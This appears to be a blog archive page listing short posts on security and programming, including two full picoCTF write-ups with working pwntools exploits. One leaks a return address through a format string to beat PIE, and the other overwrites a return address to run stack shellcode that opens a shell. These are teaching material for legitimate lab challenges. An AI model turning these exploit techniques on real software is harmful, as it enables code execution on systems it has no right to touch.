Skip to content

2024

Ghidra's Headless Analyzer

Say you are beginning a new project to pentest an embedded device, and you're able to get a copy of firmware and get access to the filesystem on the device. At this point, there may be a number of reasons you'd want to import all the executables and libraries into a ghidra project:

Raw Sockets

I began learning about raw sockets in C recently. Here's a simple raw socket program in C with comments explaining what's going on (also on github:

Advent of Code 2024

I heard about Advent of Code last year, but didn't participate because I was busy.

This year I'm still busy, but nonetheless succumbed to the feeling of needing to solve problems simply because they exist. All computer scientists I know have this curse.

PIE Time 2

CTF write up for cylabacademy's PIE Time 2

Security Mitigations

$ pwn checksec vuln
[*] '/home/tristan/Downloads/vuln'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Identify the Vulnerability

This challenge comes with source code:

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  call_functions();
  return 0;
}

Things to note:

  • There's a printf memory leak. We can use this to leak the return address to the main.
  • This challenge doesn't make us find a way to redirect execution; it simply request and address with scanf and jumps to it.

Exploit

When printf only has a single argument, and that format string has format specifiers, the resulting behavior is undefined. Apparently, most mainstream libc implelentations will function as though the arguments were passed in via the typical locations.1

For example, if we enter the format string %p %p %p %p %p %p as input:

$ ./vuln
Enter your name:%p %p %p %p %p %p
0x5555555592a1 0xfbad2288 0x7ffff7d1bb91 0x5555555592b2 0x410 0x7fffffffd9c0

And using gdb/gef, we can see those values are in the typical argument registers, then the stack once the 6 argument registers are exhausted:

gef context with registers and stack, just before printf is called with user-controlled format string
──── registers ────
$rax   : 0x0
$rbx   : 0x00007fffffffdb38  →  0x00007fffffffdf0c  →  "/home/tristan/Downloads/vuln"
$rcx   : 0x00007ffff7d1bb91  →  0x4f77fffff0003d48 ("H="?)
$rdx   : 0xfbad2288
$rsp   : 0x00007fffffffd998  →  0x000055555555531c  →  <call_functions+0055> lea rdi, [rip+0xd1d]        # 0x555555556040
$rbp   : 0x00007fffffffda00  →  0x00007fffffffda10  →  0x00007fffffffdab0  →  0x00007fffffffdb10  →  0x0000000000000000
$rsi   : 0x00005555555592a1  →  "p %p %p %p %p %p\n"
$rdi   : 0x00007fffffffd9b0  →  "%p %p %p %p %p %p\n"
$rip   : 0x00007ffff7c60100  →  <printf+0000> endbr64
$r8    : 0x00005555555592b2  →  0x0000000000000000
$r9    : 0x410
$r10   : 0x1
$r11   : 0x246
$r12   : 0x1
$r13   : 0x0
$r14   : 0x0
$r15   : 0x00007ffff7ffd000  →  0x00007ffff7ffe2e0  →  0x0000555555554000  →  0x00010102464c457f
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
──── stack ────
0x00007fffffffd998│+0x0000: 0x000055555555531c  →  <call_functions+0055> lea rdi, [rip+0xd1d]        # 0x555555556040    ← $rsp
0x00007fffffffd9a0│+0x0008: 0x00007fffffffd9c0  →  0x00007fffff000a70 ("p\n"?)
0x00007fffffffd9a8│+0x0010: 0x00007ffff7c924f5  →  <_IO_file_setbuf+0015> test rax, rax
0x00007fffffffd9b0│+0x0018: "%p %p %p %p %p %p\n"        ← $rdi
0x00007fffffffd9b8│+0x0020: " %p %p %p\n"
0x00007fffffffd9c0│+0x0028: 0x00007fffff000a70 ("p\n"?)
0x00007fffffffd9c8│+0x0030: 0x00007ffff7c8875f  →  <setvbuf+012f> cmp rax, 0x1
0x00007fffffffd9d0│+0x0038: 0x0000000000000000

Looking at the stack, we can see that the return address to main is 13 8-byte slots after the 0x7fffffffd9c0 value that was printed earlier:

gef➤  x/15gx $rsp
0x7fffffffd998: 0x000055555555532d      0x00007fffffffd9c0 #(1)!
0x7fffffffd9a8: 0x00007ffff7c924f5      0x7025207025207025
0x7fffffffd9b8: 0x2520702520702520      0x00007fffff000a70
0x7fffffffd9c8: 0x00007ffff7c8875f      0x0000000000000000
0x7fffffffd9d8: 0x00007fffffffdb38      0x0000000000000001
0x7fffffffd9e8: 0x0000000000000000      0x0000000000000000
0x7fffffffd9f8: 0xc84e8d8f5c25b800      0x00007fffffffda10
0x7fffffffda08: 0x0000555555555441 #(2)!
gef➤  bt
#0  __printf (format=0x555555556040 " enter the address to jump to, ex => 0x12345: ") at ./stdio-common/printf.c:28
#1  0x000055555555532d in call_functions ()
#2  0x0000555555555441 in main ()
  1. This value was the last value printed by printf when we passed in 6 %p format specifiers.
  2. This is the return address to main, as see in the bt backtrace.

Solution

We can calculate we need 19 %p format specifiers to reach the return address to main (13 slots after the last printed value, plus 6 slots for the 6 %p format specifiers we already passed in).

from inspect import stack
from pwn import *

# io = process("/home/tristan/Downloads/vuln")
io = remote("rescued-float.picoctf.net", 50864)

io.recvuntil(b":")
io.sendline(b"%19$p")

# offset between return address and start of main
ret_offset_in_main = 65

# offsets found using gdb or objdump
main_offset = 0x1400
win_offset = 0x136a

data = io.recvline()
ret_addr = int(data.decode().strip(), base=16)
win_addr = ret_addr - ret_offset_in_main - main_offset + win_offset

io.recv()
io.sendline(hex(win_addr).encode())

io.interactive()

Run it:

$ uv run docs/assets/code/picoctf/pie_time_2/solution.py
[+] Opening connection to rescued-float.picoctf.net on port 50864: Done
[*] Switching to interactive mode
You won!
picoCTF{p13_5h0u1dn'7_134k_9650b792}

Binary Gauntlet 1

CTF write up for cylabacademy's Binary Guantlet 1

Security Mitigations

We have a binary called gauntlet.

Check security mitigations on the binary (using checksec in gef):

gef➤  checksec
[+] checksec for '/home/tristan/Downloads/gauntlet'
Canary                        : ✘
NX                            : ✘
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Partial

All the mitigations are disabled, so it's likely we'll write shellcode directly to the stack then overwrite a return pointer to jump to our shellcode.

RE the binary

Looking at decompilation in ghidra (I renamed the variables):

Ghidra Decompilation of gauntlet
undefined8 main(void) {
    char stack_buf [104];
    char *heap_buf;

    heap_buf = malloc(1000);
    printf("%p\n",stack_buf);
    fflush(stdout);
    fgets(heap_buf,1000,stdin);
    heap_buf[999] = '\0';
    printf(heap_buf);
    fflush(stdout);
    fgets(heap_buf,1000,stdin);
    heap_buf[999] = '\0';
    strcpy(stack_buf,heap_buf);
    return 0;
}  

Key information to note:

  • There's a strcpy that copies our input to the stack_buf without any bounds checking.
  • The address of stack_buf is printed, so we can use this address to calculate the address of the return pointer we need to overwrite

The disassembly of main shows that the function prologue is saving rbp to the stack:

gef➤  disassemble main
Dump of assembler code for function main:
   0x0000000000400687 <+0>:     push   rbp
   0x0000000000400688 <+1>:     mov    rbp,rsp  # (1)!
   0x000000000040068b <+4>:     add    rsp,0xffffffffffffff80
   0x000000000040068f <+8>:     mov    DWORD PTR [rbp-0x74],edi
   0x0000000000400692 <+11>:    mov    QWORD PTR [rbp-0x80],rsi
   0x0000000000400696 <+15>:    mov    edi,0x3e8
   0x000000000040069b <+20>:    call   0x400580 <malloc@plt>
   0x00000000004006a0 <+25>:    mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006a4 <+29>:    lea    rax,[rbp-0x70]   # (2)!
   0x00000000004006a8 <+33>:    mov    rsi,rax
   0x00000000004006ab <+36>:    lea    rdi,[rip+0x122]        # 0x4007d4
   0x00000000004006b2 <+43>:    mov    eax,0x0
   0x00000000004006b7 <+48>:    call   0x400560 <printf@plt>
  1. rbp is pushed to the stack in the function prologue, so we'll need to account for this 8 byte offset we calculate the address of the return pointer.
  2. In the same way that the program uses rbp to calculate the address of stack_buf, we can add 0x70 to the printed stack_buf address to get the address in rbp.

Craft the Payload

from inspect import stack
from pwn import *

# io = process("/home/tristan/Downloads/gauntlet")
io = remote("wily-courier.picoctf.net", 52996)

# offset between stack_buf and the return pointer
# seen in disassembly: lea    rax,[rbp-0x70]
# (extra 8 bytes accounts for rbp)
offset = 0x70 + 8

context.clear(arch="amd64", os="linux")
shellcode = asm(shellcraft.amd64.linux.sh())
payload = shellcode + (b'A' * (offset - len(shellcode)))

data = io.recvline(drop=True)
stack_buf_addr = int(data.decode(), base=16)
payload += p64(stack_buf_addr, endianness="little")

# target program has an extra fgest/printf; this isn't necessary for the exploit,
# so we send an empty line
io.sendline()
data = io.recv()

io.sendline(payload)
io.interactive()

Run it and get the flag:

$ uv run solution.py
[+] Opening connection to wily-courier.picoctf.net on port 52996: Done
[*] Switching to interactive mode
$ ls
Dockerfile
Makefile
Solution
flag.txt
gauntlet
gauntlet.c
start.sh
$ cat flag.txt
5ef0ab218aa1da49ee3255611be97bea

Javascript

I've managed to stay away from javascript throughout a whole computer science degree and two years as a software engineer but every once in a while something pops up that requires it and I'll wish I was more familiar with it. So I went and learned a bit of JS today.

Mermaid for Jekyll

graph TD
    start["I want to add mermaid<br>to my website"]
    time[How much time am<br>I willing to spend<br>to set it up?]
    easy[Copy/paste a few lines to lines<br>to your post which will import<br>mermaid and create an element<br> to contain your mermaid text.]
    after_medium[Can I just use<br>backticks to create<br>my mermaid graph?]
    style after_medium stroke-dasharray: 5
    medium[Use mermaid.live to create<br>an SVG of your graph,<br>then upload to your post<br>like a normal image.]
    after_easy[But I don't want to<br>have to paste html<br>in my posts.]
    style after_easy stroke-dasharray: 5
    hard[1. Create a github workflow<br>2. Import jekyll-mermaid plugin]
    final[Done! 👏<br>]

    start --> time

    time -- 1 min --> easy
    time -- 3 min --> medium
    time -- 15-30 min --> hard

    easy -- hmm --> after_easy --> time
    easy --> final

    medium -- hmm --> after_medium --> time
    medium --> final

    hard --> final

Pcaps on Windows with netsh.exe

Windows doesn't have tcpdump, so if you want to create a .pcap file from a packet capture, the easiest method is to download Wireshark or some other third party software. But it's still possible to create a pcap using native files installed on Windows - there's just a few more steps.